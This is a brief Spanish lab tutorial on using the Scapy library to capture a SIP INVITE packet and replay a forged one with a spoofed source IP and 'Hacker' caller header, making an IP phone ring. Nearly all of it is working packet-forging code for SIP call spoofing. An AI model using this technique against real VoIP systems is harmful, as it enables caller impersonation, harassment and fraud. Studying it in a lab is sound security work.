Intro:Scapy: Es una libreria escrita en Python para la manipulación, sniffing y mas de paquetes de red.
SIP: Protocolo masivamente usado para VoIP
Requisitos:2 PCs con un cliente SIP debidamente registrado.
Instalar Scapy
Paso 1Obtener un paquete válido como ejemplo para reproducirlo nuevamente pero desde scapy y con ciertos valores modificados:
sudo ipython
from scapy.all import *
pkt = sniff(count=1, filter='udp and dst port 5060')
En este punto realizamos una llamada desde un softphone en nuestra PC hacia otro cliente SIP en alguna otra PC, así capturamos el paquete INVITE
ipdata = pkt[IP][0]
Con esto ya tenemos un paquete legitimo de una llamada para reproducirla, se puede verificar los campos de la siguiente manera:
ipdata.show()
Construyendo la llamada falsa PC1:
IP => 172.16.0.2 SIP=>201
Telefono IP:
IP => 172.16.0.199 SIP=>202
call = IP(src='172.16.0.2',dst='172.16.0.199')/UDP(dport=5060)/Raw(load = 'INVITE sip:201@127.0.0.1 SIP/2.0\r\nVia: SIP/2.0/UDP 127.0.0.1:5061;rport;branch=z9hG4bKachcujse\r\nMax-Forwards: 70\r\nTo: \r\nFrom: "Hacker" ;tag=nickz\r\nCall-ID: nfoarzphbqcrmwv@battlefield\r\nCSeq: 983 INVITE\r\nContact: \r\nContent-Type: application/sdp\r\nAllow: INVITE,ACK,BYE,CANCEL,OPTIONS,PRACK,REFER,NOTIFY,SUBSCRIBE,INFO,MESSAGE\r\nOrganization: HOME\r\nSupported: replaces,norefersub,100rel\r\nUser-Agent: Twinkle/1.4.2\r\nContent-Length: 303\r\n\r\nv=0\r\no=twinkle 1592958298 1545391068 IN IP4 127.0.0.1\r\ns=-\r\nc=IN IP4 127.0.0.1\r\nt=0 0\r\nm=audio 8000 RTP/AVP 98 97 8 0 3 101\r\na=rtpmap:98 speex/16000\r\na=rtpmap:97 speex/8000\r\na=rtpmap:8 PCMA/8000\r\na=rtpmap:0 PCMU/8000\r\na=rtpmap:3 GSM/8000\r\na=rtpmap:101 telephone-event/8000\r\na=fmtp:101 0-15\r\na=ptime:20\r\n')
Con esto ya podemos enviar el paquete y el teléfono IP debería timbrar !!
send(call)